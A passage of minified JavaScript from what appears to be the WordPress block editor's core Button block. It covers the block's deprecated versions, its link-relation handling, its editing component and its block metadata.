.wp-block-button__link",typography:{writingMode:".wp-block-button"}},save({attributes:e,className:t}){let{tagName:r,type:a,fontSize:n,linkTarget:i,rel:l,style:s,text:c,title:u,url:m,width:p}=e,d=r||"a",f=d==="button",h=a||"button",g=(0,ce.__experimentalGetBorderClassesAndStyles)(e),b=(0,ce.__experimentalGetColorClassesAndStyles)(e),y=(0,ce.__experimentalGetSpacingClassesAndStyles)(e),_=(0,ce.__experimentalGetShadowClassesAndStyles)(e),x=(0,ce.getTypographyClassesAndStyles)(e),k=w("wp-block-button__link",b.className,g.className,x.className,{"no-border-radius":s?.border?.radius===0,"has-custom-font-size":n||s?.typography?.fontSize},(0,ce.__experimentalGetElementClassName)("button")),S={...g.style,...b.style,...y.style,..._.style,...x.style,writingMode:void 0},C=w(t,{[`has-custom-width wp-block-button__width-${p}`]:p});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:C}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:d,type:f?h:null,className:k,href:f?null:m,title:u,style:S,value:c,target:f?null:i,rel:f?null:l})})},isEligible(e){return typeof e.width=="number"},migrate:Hi},Nhe={attributes:{tagName:{type:"string",enum:["a","button"],default:"a"},type:{type:"string",default:"button"},textAlign:{type:"string"},url:{type:"string",source:"attribute",selector:"a",attribute:"href",role:"content"},title:{type:"string",source:"attribute",selector:"a,button",attribute:"title",role:"content"},text:{type:"rich-text",source:"rich-text",selector:"a,button",role:"content"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target",role:"content"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel",role:"content"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{__experimentalSkipSerialization:["fontSize","lineHeight","fontFamily","fontWeight","fontStyle","textTransform","textDecoration","letterSpacing"],fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},reusable:!1,shadow:{__experimentalSkipSerialization:!0},spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},interactivity:{clientNavigation:!0}},selectors:{root:".wp-block-button .wp-block-button__link",typography:{writingMode:".wp-block-button"}},save({attributes:e,className:t}){let{tagName:r,type:a,textAlign:n,fontSize:i,linkTarget:l,rel:s,style:c,text:u,title:m,url:p,width:d}=e,f=r||"a",h=f==="button",g=a||"button",b=(0,ce.__experimentalGetBorderClassesAndStyles)(e),y=(0,ce.__experimentalGetColorClassesAndStyles)(e),_=(0,ce.__experimentalGetSpacingClassesAndStyles)(e),x=(0,ce.__experimentalGetShadowClassesAndStyles)(e),k=(0,ce.getTypographyClassesAndStyles)(e),S=w("wp-block-button__link",y.className,b.className,k.className,{[`has-text-align-${n}`]:n,"no-border-radius":c?.border?.radius===0,"has-custom-font-size":i||c?.typography?.fontSize},(0,ce.__experimentalGetElementClassName)("button")),C={...b.style,...y.style,..._.style,...x.style,...k.style,writingMode:void 0},E=w(t,{[`has-custom-width wp-block-button__width-${d}`]:d});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:E}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:f,type:h?g:null,className:S,href:h?null:p,title:m,style:C,value:u,target:h?null:l,rel:h?null:s})})},isEligible(e){return!!e.textAlign||typeof e.width=="number"},migrate:(0,Tl.compose)(Hi,be)},Dhe={attributes:{tagName:{type:"string",enum:["a","button"],default:"a"},type:{type:"string",default:"button"},textAlign:{type:"string"},url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a,button",attribute:"title",role:"content"},text:{type:"rich-text",source:"rich-text",selector:"a,button",role:"content"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target",role:"content"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel",role:"content"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},reusable:!1,shadow:{__experimentalSkipSerialization:!0},spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},__experimentalSelector:".wp-block-button__link",interactivity:{clientNavigation:!0}},save({attributes:e,className:t}){let{tagName:r,type:a,textAlign:n,fontSize:i,linkTarget:l,rel:s,style:c,text:u,title:m,url:p,width:d}=e,f=r||"a",h=f==="button",g=a||"button",b=(0,ce.__experimentalGetBorderClassesAndStyles)(e),y=(0,ce.__experimentalGetColorClassesAndStyles)(e),_=(0,ce.__experimentalGetSpacingClassesAndStyles)(e),x=(0,ce.__experimentalGetShadowClassesAndStyles)(e),k=w("wp-block-button__link",y.className,b.className,{[`has-text-align-${n}`]:n,"no-border-radius":c?.border?.radius===0},(0,ce.__experimentalGetElementClassName)("button")),S={...b.style,...y.style,..._.style,...x.style},C=w(t,{[`has-custom-width wp-block-button__width-${d}`]:d,"has-custom-font-size":i||c?.typography?.fontSize});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:C}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:f,type:h?g:null,className:k,href:h?null:p,title:m,style:S,value:u,target:h?null:l,rel:h?null:s})})},isEligible(e){return typeof e.width=="number"},migrate:Hi},Lhe={attributes:{url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a",attribute:"title"},text:{type:"string",source:"html",selector:"a"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,__experimentalFontFamily:!0,__experimentalDefaultControls:{fontSize:!0}},reusable:!1,spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{radius:!0}},__experimentalSelector:".wp-block-button__link"},save({attributes:e,className:t}){let{fontSize:r,linkTarget:a,rel:n,style:i,text:l,title:s,url:c,width:u}=e;if(!l)return null;let m=(0,ce.__experimentalGetBorderClassesAndStyles)(e),p=(0,ce.__experimentalGetColorClassesAndStyles)(e),d=(0,ce.__experimentalGetSpacingClassesAndStyles)(e),f=w("wp-block-button__link",p.className,m.className,{"no-border-radius":i?.border?.radius===0}),h={...m.style,...p.style,...d.style},g=w(t,{[`has-custom-width wp-block-button__width-${u}`]:u,"has-custom-font-size":r||i?.typography?.fontSize});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:g}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:f,href:c,title:s,style:h,value:l,target:a,rel:n})})}},Mhe={attributes:{url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a",attribute:"title"},text:{type:"string",source:"html",selector:"a"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},reusable:!1,spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0},__experimentalSelector:".wp-block-button__link"},save({attributes:e,className:t}){let{fontSize:r,linkTarget:a,rel:n,style:i,text:l,title:s,url:c,width:u}=e;if(!l)return null;let m=(0,ce.__experimentalGetBorderClassesAndStyles)(e),p=(0,ce.__experimentalGetColorClassesAndStyles)(e),d=(0,ce.__experimentalGetSpacingClassesAndStyles)(e),f=w("wp-block-button__link",p.className,m.className,{"no-border-radius":i?.border?.radius===0}),h={...m.style,...p.style,...d.style},g=w(t,{[`has-custom-width wp-block-button__width-${u}`]:u,"has-custom-font-size":r||i?.typography?.fontSize});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:g}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:f,href:c,title:s,style:h,value:l,target:a,rel:n})})},migrate:(0,Tl.compose)(Hi,jt),isEligible({style:e,width:t}){return e?.typography?.fontFamily||typeof t=="number"}},Ahe=[Ehe,Nhe,Dhe,Lhe,Mhe,{supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},reusable:!1,__experimentalSelector:".wp-block-button__link"},attributes:{...Ec,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},isEligible({style:e}){return typeof e?.border?.radius=="number"},save({attributes:e,className:t}){let{fontSize:r,linkTarget:a,rel:n,style:i,text:l,title:s,url:c,width:u}=e;if(!l)return null;let m=i?.border?.radius,p=(0,ce.__experimentalGetColorClassesAndStyles)(e),d=w("wp-block-button__link",p.className,{"no-border-radius":i?.border?.radius===0}),f={borderRadius:m||void 0,...p.style},h=w(t,{[`has-custom-width wp-block-button__width-${u}`]:u,"has-custom-font-size":r||i?.typography?.fontSize});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:h}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:d,href:c,title:s,style:f,value:l,target:a,rel:n})})},migrate:(0,Tl.compose)(Hi,jt,If)},{supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0},reusable:!1,__experimentalSelector:".wp-block-button__link"},attributes:{...Ec,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"},width:{type:"number"}},save({attributes:e,className:t}){let{borderRadius:r,linkTarget:a,rel:n,text:i,title:l,url:s,width:c}=e,u=(0,ce.__experimentalGetColorClassesAndStyles)(e),m=w("wp-block-button__link",u.className,{"no-border-radius":r===0}),p={borderRadius:r?r+"px":void 0,...u.style},d=w(t,{[`has-custom-width wp-block-button__width-${c}`]:c});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:d}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:m,href:s,title:l,style:p,value:i,target:a,rel:n})})},migrate:(0,Tl.compose)(Hi,jt,If)},{supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0},reusable:!1,__experimentalSelector:".wp-block-button__link"},attributes:{...Ec,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"},width:{type:"number"}},save({attributes:e,className:t}){let{borderRadius:r,linkTarget:a,rel:n,text:i,title:l,url:s,width:c}=e,u=(0,ce.__experimentalGetColorClassesAndStyles)(e),m=w("wp-block-button__link",u.className,{"no-border-radius":r===0}),p={borderRadius:r?r+"px":void 0,...u.style},d=w(t,{[`has-custom-width wp-block-button__width-${c}`]:c});return(0,Vt.jsx)("div",{...ce.useBlockProps.save({className:d}),children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:m,href:s,title:l,style:p,value:i,target:a,rel:n})})},migrate:(0,Tl.compose)(Hi,jt,If)},{supports:{align:!0,alignWide:!1,color:{gradients:!0}},attributes:{...Ec,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"}},save({attributes:e}){let{borderRadius:t,linkTarget:r,rel:a,text:n,title:i,url:l}=e,s=w("wp-block-button__link",{"no-border-radius":t===0}),c={borderRadius:t?t+"px":void 0};return(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:s,href:l,title:i,style:c,value:n,target:r,rel:a})},migrate:(0,Tl.compose)(Hi,If)},{supports:{align:!0,alignWide:!1},attributes:{...Ec,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},customGradient:{type:"string"},gradient:{type:"string"}},isEligible:e=>!!e.customTextColor||!!e.customBackgroundColor||!!e.customGradient||!!e.align,migrate:(0,Tl.compose)(Hi,If,nI,Ihe),save({attributes:e}){let{backgroundColor:t,borderRadius:r,customBackgroundColor:a,customTextColor:n,customGradient:i,linkTarget:l,gradient:s,rel:c,text:u,textColor:m,title:p,url:d}=e,f=(0,ce.getColorClassName)("color",m),h=!i&&(0,ce.getColorClassName)("background-color",t),g=(0,ce.__experimentalGetGradientClass)(s),b=w("wp-block-button__link",{"has-text-color":m||n,[f]:f,"has-background":t||a||i||s,[h]:h,"no-border-radius":r===0,[g]:g}),y={background:i||void 0,backgroundColor:h||i||s?void 0:a,color:f?void 0:n,borderRadius:r?r+"px":void 0};return(0,Vt.jsx)("div",{children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:b,href:d,title:p,style:y,value:u,target:l,rel:c})})}},{attributes:{...Ec,align:{type:"string",default:"none"},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"}},isEligible(e){return e.className&&e.className.includes("is-style-squared")},migrate(e){let t=e.className;return t&&(t=t.replace(/is-style-squared[\s]?/,"").trim()),If(nI({...e,className:t||void 0,borderRadius:0}))},save({attributes:e}){let{backgroundColor:t,customBackgroundColor:r,customTextColor:a,linkTarget:n,rel:i,text:l,textColor:s,title:c,url:u}=e,m=(0,ce.getColorClassName)("color",s),p=(0,ce.getColorClassName)("background-color",t),d=w("wp-block-button__link",{"has-text-color":s||a,[m]:m,"has-background":t||r,[p]:p}),f={backgroundColor:p?void 0:r,color:m?void 0:a};return(0,Vt.jsx)("div",{children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:d,href:u,title:c,style:f,value:l,target:n,rel:i})})}},{attributes:{...Ec,align:{type:"string",default:"none"},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"}},migrate:(0,Tl.compose)(Hi,aI),save({attributes:e}){let{url:t,text:r,title:a,backgroundColor:n,textColor:i,customBackgroundColor:l,customTextColor:s}=e,c=(0,ce.getColorClassName)("color",i),u=(0,ce.getColorClassName)("background-color",n),m=w("wp-block-button__link",{"has-text-color":i||s,[c]:c,"has-background":n||l,[u]:u}),p={backgroundColor:u?void 0:l,color:c?void 0:s};return(0,Vt.jsx)("div",{children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:m,href:t,title:a,style:p,value:r})})}},{attributes:{...Ec,color:{type:"string"},textColor:{type:"string"},align:{type:"string",default:"none"}},save({attributes:e}){let{url:t,text:r,title:a,align:n,color:i,textColor:l}=e,s={backgroundColor:i,color:l};return(0,Vt.jsx)("div",{className:`align${n}`,children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",className:"wp-block-button__link",href:t,title:a,style:s,value:r})})},migrate:(0,Tl.compose)(Hi,aI)},{attributes:{...Ec,color:{type:"string"},textColor:{type:"string"},align:{type:"string",default:"none"}},save({attributes:e}){let{url:t,text:r,title:a,align:n,color:i,textColor:l}=e;return(0,Vt.jsx)("div",{className:`align${n}`,style:{backgroundColor:i},children:(0,Vt.jsx)(ce.RichText.Content,{tagName:"a",href:t,title:a,style:{color:l},value:r})})},migrate:(0,Tl.compose)(Hi,aI)}],VF=Ahe;var ji=o(I(),1),Uo=o(j(),1),Gu=o(A(),1),st=o(T(),1),Uu=o(Cs(),1);var Nc=o(U(),1),P1=o(ue(),1),B1=o(z(),1);var V_="noreferrer noopener",F_="_blank",Ef="nofollow";var OF=o(nr(),1);function HF({rel:e="",url:t="",opensInNewTab:r,nofollow:a}){let n,i=e;if(r)n=F_,i=i?.includes(V_)?i:i+` ${V_}`;else{let l=new RegExp(`\\b${V_}\\s*`,"g");i=i?.replace(l,"").trim()}if(a)i=i?.includes(Ef)?i:(i+` ${Ef}`).trim();else{let l=new RegExp(`\\b${Ef}\\s*`,"g");i=i?.replace(l,"").trim()}return{url:(0,OF.prependHTTPS)(t),linkTarget:n,rel:i||void 0}}function T1(e){return e.toString().replace(/<\/?a[^>]*>/g,"")}var UF=o(ue(),1),O_=o(j(),1),GF=o(Nf(),1),WF=o(z(),1),$F=o(T(),1);function St(e){let{name:t,attributes:r,setAttributes:a}=e,{textAlign:n}=r,{__unstableMarkNextChangeAsNotPersistent:i}=(0,WF.useDispatch)($F.store),l=(0,UF.useEvent)(()=>{(0,GF.default)(`textAlign attribute in ${t}`,{alternative:"style.typography.textAlign",since:"7.0"}),i(),a(c=>({style:{...c.style,typography:{...c.style?.typography,textAlign:n}}}))}),s=(0,O_.useRef)();(0,O_.useEffect)(()=>{n!==s.current&&(s.current=n,l())},[n,l])}function iI(e){return typeof e=="string"&&e.endsWith("%")}function qF(e){if(!e)return{};if(iI(e)){let t={"25%":"wp-block-button__width-25","50%":"wp-block-button__width-50","75%":"wp-block-button__width-75","100%":"wp-block-button__width-100"};return{"has-custom-width":!0,"wp-block-button__width":!0,...t[e]&&{[t[e]]:!0}}}return{"has-custom-width":!0}}var ga=o(v(),1),{HTMLElementControl:Rhe}=Z(st.privateApis),zhe=[...st.LinkControl.DEFAULT_LINK_SETTINGS,{id:"nofollow",title:(0,ji.__)("Mark as nofollow")}];function Vhe(e){let{replaceBlocks:t,selectionChange:r}=(0,B1.useDispatch)(st.store),{getBlock:a,getBlockRootClientId:n,getBlockIndex:i}=(0,B1.useSelect)(st.store),l=(0,Uo.useRef)(e);return l.current=e,(0,P1.useRefEffect)(s=>{function c(u){if(u.defaultPrevented||u.keyCode!==Uu.ENTER)return;let{content:m,clientId:p}=l.current;if(m.length)return;u.preventDefault();let d=a(n(p)),f=i(p),h=(0,Nc.cloneBlock)({...d,innerBlocks:d.innerBlocks.slice(0,f)}),g=(0,Nc.createBlock)((0,Nc.getDefaultBlockName)()),b=d.innerBlocks.slice(f+1),y=b.length?[(0,Nc.cloneBlock)({...d,innerBlocks:b})]:[];t(d.clientId,[h,g,...y],1),r(g.clientId)}return s.addEventListener("keydown",c),()=>{s.removeEventListener("keydown",c)}},[])}function Fhe(e){let{attributes:t,setAttributes:r,className:a,isSelected:n,onReplace:i,mergeBlocks:l,clientId:s,context:c}=e,{tagName:u,linkTarget:m,placeholder:p,rel:d,style:f,text:h,url:g,metadata:b}=t,y=f?.dimensions?.width;St(e);let _=u||"a";function x(xe){Uu.isKeyboardEvent.primary(xe,"k")?le(xe):Uu.isKeyboardEvent.primaryShift(xe,"k")&&(de(),R.current?.focus())}let[k,S]=(0,Uo.useState)(null),C=(0,st.__experimentalUseBorderProps)(t),E=(0,st.__experimentalUseColorProps)(t),B=(0,st.__experimentalGetSpacingClassesAndStyles)(t),D=(0,st.__experimentalGetShadowClassesAndStyles)(t),M=(0,st.__experimentalGetDimensionsClassesAndStyles)(t),O=(0,Uo.useRef)(),R=(0,Uo.useRef)(),F=(0,st.useBlockProps)({ref:(0,P1.useMergeRefs)([S,O]),onKeyDown:x}),P=(0,st.useBlockEditingMode)(),[H,$]=(0,Uo.useState)(!1),V=!!g,G=m===F_,K=!!d?.includes(Ef),X=_==="a",{createPageEntity:ee,userCanCreatePages:ne,lockUrlControls:J=!1}=(0,B1.useSelect)(xe=>{if(!n)return{};let ot=xe(st.store).getSettings(),Ke=(0,Nc.getBlockBindingsSource)(b?.bindings?.url?.source);return{createPageEntity:ot.__experimentalCreatePageEntity,userCanCreatePages:ot.__experimentalUserCanCreatePages,lockUrlControls:!!b?.bindings?.url&&!Ke?.canUserEditValue?.({select:xe,context:c,args:b?.bindings?.url?.args})}},[c,n,b?.bindings?.url]);async function oe(xe){let ot=await ee({title:xe,status:"draft"});return{id:ot.id,type:ot.type,title:ot.title.rendered,url:ot.link,kind:"post-type"}}function ie(xe){return(0,Uo.createInterpolateElement)((0,ji.sprintf)((0,ji.__)("Create page: <mark>%s</mark>"),xe),{mark:(0,ga.jsx)("mark",{})})}function le(xe){xe.preventDefault(),$(!0)}function de(){r({url:void 0,linkTarget:void 0,rel:void 0}),$(!1)}(0,Uo.useEffect)(()=>{n||$(!1)},[n]);let Ve=(0,Uo.useMemo)(()=>({url:g,opensInNewTab:G,nofollow:K}),[g,G,K]),Ne=Vhe({content:h,clientId:s}),ae=(0,P1.useMergeRefs)([Ne,R]),[Be,Ae,re]=(0,st.useSettings)("typography.fluid","layout","dimensions.dimensionSizes"),fe=(0,Uo.useMemo)(()=>re?[...re?.custom??[],...re?.theme??[],...re?.default??[]]:[],[re]),rt=(0,st.getTypographyClassesAndStyles)(t,{typography:{fluid:Be},layout:{wideSize:Ae?.wideSize}}),tt=(0,Uo.useMemo)(()=>{if(!y)return;let xe="var:preset|dimension|";if(y.startsWith(xe)){let ot=y.slice(xe.length);return fe?.find(Qe=>Qe.slug===ot)?.size??y}return y},[y,fe]),he=P==="default"||X&&!J,wt=w(F.className,qF(tt)),je=(0,Uo.useMemo)(()=>y?iI(tt)?{"--wp--block-button--width":parseFloat(tt)}:M.style:{},[y,tt,M.style]);return(0,ga.jsxs)(ga.Fragment,{children:[(0,ga.jsx)("div",{...F,className:wt,style:{...F.style,...je},children:(0,ga.jsx)(st.RichText,{ref:ae,"aria-label":(0,ji.__)("Button text"),placeholder:p||(0,ji.__)("Add text\u2026"),value:h,onChange:xe=>r({text:T1(xe)}),withoutInteractiveFormatting:!0,className:w(a,"wp-block-button__link",E.className,C.className,rt.className,{"no-border-radius":f?.border?.radius===0,"has-custom-font-size":F.style.fontSize},(0,st.__experimentalGetElementClassName)("button")),style:{...C.style,...E.style,...B.style,...D.style,...rt.style,writingMode:void 0},onReplace:i,onMerge:l,identifier:"text"})}),he&&(0,ga.jsx)(st.BlockControls,{group:"block",children:X&&!J&&(0,ga.jsx)(Gu.ToolbarButton,{name:"link",icon:V?O0:Yn,title:V?(0,ji.__)("Unlink"):(0,ji.__)("Link"),shortcut:V?Uu.displayShortcut.primaryShift("k"):Uu.displayShortcut.primary("k"),onClick:V?de:le,isActive:V})}),X&&n&&(H||V)&&!J&&(0,ga.jsx)(Gu.Popover,{placement:"bottom",onClose:()=>{$(!1),R.current?.focus()},anchor:k,focusOnMount:H?"firstElement":!1,__unstableSlotName:"__unstable-block-tools-after",shift:!0,children:(0,ga.jsx)(st.LinkControl,{value:Ve,onChange:({url:xe,opensInNewTab:ot,nofollow:Ke})=>r(HF({rel:d,url:xe,opensInNewTab:ot,nofollow:Ke})),onRemove:()=>{de(),R.current?.focus()},forceIsEditingLink:H,settings:zhe,createSuggestion:ee&&oe,withCreateSuggestion:ne,createSuggestionButtonText:ie})}),(0,ga.jsxs)(st.InspectorControls,{group:"advanced",children:[(0,ga.jsx)(Rhe,{tagName:u,onChange:xe=>r({tagName:xe}),options:[{label:(0,ji.__)("Default (<a>)"),value:"a"},{label:"<button>",value:"button"}]}),X&&(0,ga.jsx)(Gu.TextControl,{__next40pxDefaultSize:!0,label:(0,ji.__)("Link relation"),help:(0,Uo.createInterpolateElement)((0,ji.__)("The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."),{a:(0,ga.jsx)(Gu.ExternalLink,{href:"https://developer.mozilla.org/docs/Web/HTML/Attributes/rel"})}),value:d||"",onChange:xe=>r({rel:xe})})]})]})}var ZF=Fhe;var H_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/button",title:"Button",category:"design",parent:["core/buttons"],description:"Prompt visitors to take action with a button-style link.",keywords:["link"],textdomain:"default",attributes:{tagName:{type:"string",enum:["a","button"],default:"a"},type:{type:"string",default:"button"},url:{type:"string",source:"attribute",selector:"a",attribute:"href",role:"content"},title:{type:"string",source:"attribute",selector:"a,button",attribute:"title",role:"content"},text:{type:"rich-text",source:"rich-text",selector:"a,button",role:"content"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target",role:"content"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel",role:"content"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"}},supports:{anchor:!0,splitting:!0,align:!1,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},dimensions:{width:!0,__experimentalSkipSerialization:["width"],__experimentalDefaultControls:{width:!0}},typography:{__experimentalSkipSerialization:["fontSize","lineHeight","textAlign","fontFamily","fontWeight","fontStyle","textTransform","textDecoration","letterSpacing"],fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},reusable:!1,shadow:{__experimentalSkipSerialization:!0},spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},interactivity:{clientNavigation:!0}},styles:[{name:"fill",label:"Fill",isDefault:!0},{name:"outline",label:"Outline"}],editorStyle:"wp-block-button-editor",style:"wp-block-button",selectors:{root:".wp-block-button .wp-block-button__link",typography:{writingMode:".wp-block-button"},dimensions:{root:".wp-block-button",width:".wp-block-button"}}};var va=o(T(),1),lI=o(v(),1);function KF({attributes:e}){let{tagName:t,type:r,fontSize:a,linkTarget:n,rel:i,style:l,text:s,title:c,url:u}=e,m=t||"a",p=m==="button",d=r||"button",f=(0,va.__experimentalGetBorderClassesAndStyles)(e),h=(0,va.__experimentalGetColorClassesAndStyles)(e),g=(0,va.__experimentalGetSpacingClassesAndStyles)(e),b=(0,va.__experimentalGetShadowClassesAndStyles)(e),y=(0,va.getTypographyClassesAndStyles)(e),_=w("wp-block-button__link",h.className,f.className,y.className,{"no-border-radius":l?.border?.radius===0,"has-custom-font-size":a||l?.typography?.fontSize},(0,va.__experimentalGetElementClassName)("button")),x={...f.style,...h.style,...g.style,...b.style,...y.style,writingMode:void 0};return(0,lI.jsx)("div",{...va.useBlockProps.save(),children:(0,lI.jsx)(va.RichText.Content,{tagName:m,type:p?d:null,className:_,href:p?null:u,title:c,style:x,value:s,target:p?null:n,rel:p?null:i})})}var{fieldsKey:Hhe,formKey:jhe}=Z(QF.privateApis),{name:YF}=H_,U_={icon:O7,example:{attributes:{className:"is-style-fill",text:(0,j_.__)("Call to action")}},edit:ZF,save:KF,deprecated:VF,merge:(e,{text:t=""})=>({...e,text:(e.text||"")+t}),__experimentalLabel(e,{context:t}){let{text:r}=e,a=e?.metadata?.name,n=r?.trim().length>0;if(t==="list-view"&&(a||n))return a||r;if(t==="breadcrumb"&&a)return a}};window.__experimentalContentOnlyInspectorFields&&(U_[Hhe]=[{id:"text",label:(0,j_.__)("Content"),type:"text",Edit:"rich-text"},{id:"link",label:(0,j_.__)("Link"),type:"url",Edit:"link",getValue:({item:e})=>({url:e.url,rel:e.rel,linkTarget:e.linkTarget}),setValue:({value:e})=>({url:e.url,rel:e.rel,linkTarget:e.linkTarget})}],U_[jhe]={fields:["text","link"]});var Uhe=()=>N({name:YF,metadata:H_,settings:U_});var mI={};q(mI,{init:()=>Khe,metadata:()=>W_,name:()=>sO,settings:()=>cO});var uI=o(I(),1);var E1=o(T(),1),I1=o(v(),1),XF=e=>{if(e.layout)return 